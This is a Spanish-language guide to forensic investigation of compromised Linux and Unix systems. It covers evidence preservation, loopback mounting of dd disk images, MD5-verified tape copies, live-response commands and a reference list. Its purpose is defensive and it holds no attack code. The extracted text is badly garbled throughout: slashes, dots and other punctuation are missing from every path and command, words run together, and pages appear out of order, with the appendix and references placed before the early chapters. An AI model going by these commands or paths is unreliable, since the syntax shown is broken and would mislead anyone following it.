Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 5: Análisis Forense de Sistemas GNU/Linux, Unix

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalacioacuten se utilizoacute ladistro que no las incorporaba ya que la instalacioacuten de estas herramientas por defecto a veces causa problemas Mientrasque si se utiliza cualquier distro como RedHat Debian el analista puede configurar el software seguacuten sus preferencias

Referente a las teacutecnicas de anaacutelisis forense descritas a continuacioacuten asumo que utiliza un sistema operativo RedHatLinux i386 sobre cualquier placa madre compatible con Intel Estas teacutecnicas son casi ideacutenticas para cualquierade las versiones o distribuciones de GNULinux oacute Unix pero algunas caracteriacutesticas de i386 pueden variar de unservidor a otro (ejemplo utilizacioacuten de controladores IDE limitaciones de PC BIOS etc) Consulte manuales deadministracioacuten y seguridad de sistema de su distribucioacuten de GNULinux

Equipo Principal - Es preciso tener un sistema dedicado propio para poder hacer el anaacutelisis sin tener interrupcionespor procesos de otros usuarios ni estar vulnerable a los ataques de limpieza [2] Un ejemplo de configuracioacuten de unlaboratorio forense puede ser siguiente

bull Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE

bull Por lo menos 2 discos duros gt 8Gb sobre el controlador IDE principal (para almacenar el sistema operativoy herramientas maacutes espacio para poder copiar las particiones salvadas desde la cinta y espacio adicional pararecuperar la informacioacuten borrada desde discos duros)

bull Un segundo controlador IDE sin utilizar Eso significa que no deberaacute mezclarse con modificacioacuten de configu-raciones de hardware de los discos Simplemente enchufelos y apareceraacuten como devhdc (master) oacute devhdd(slave)

bull Tarjeta de interfaz SCSI (eg Adaptec 1542)

bull Dispositivos de cinta DDS-3 oacute DDS-4 4mm (se necesita bastante capacidad para almacenar informacioacuten de lasparticiones grandes)

bull Si el sistema estaacute conectado a una red deberaacute ser perfectamente parcheado y no tener ninguacuten servicio de redfuncionando salvo SSH (para acceso remoto y transferencia de ficheros) RedHat Linux 73 con Bastille Linux 20BETA es muy buena opcioacuten (Combinacioacuten utilizada en el lab de Activa Link)

5

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

